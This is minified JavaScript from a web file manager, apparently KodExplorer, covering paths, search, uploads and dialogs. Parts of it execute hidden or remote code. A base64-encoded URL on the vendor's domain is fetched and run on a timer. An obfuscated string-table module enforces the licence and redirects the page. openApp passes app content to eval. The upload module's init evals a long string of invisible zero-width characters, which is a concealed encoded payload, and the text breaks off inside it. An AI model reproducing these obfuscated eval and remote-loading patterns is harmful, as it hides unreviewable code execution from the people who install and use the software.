e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
      '+t+"
      ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
      loading..
      ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
      "+"
      "+s+"
      "+"
      "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
    • \n
      \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
      \n
    • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
    • \n
      \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
      \n
        \n {{each v.search_info as value index}}\n
      • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
      • \n {{/each}}\n
      \n
    • \n {{else}}\n
    • \n
      \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
      \n
    • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
      \n \n
      \n
      \n
      \n
      {{LNG.upload_select}}
      \n \n \n \n
      \n \n \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      {{LNG.download_address}}\n
      \n \n \n \n
      \n\n
      \n
      \n
      \n
      \n
      \n
      \n
      \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
      '+'
      '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
      '; +a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
      ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍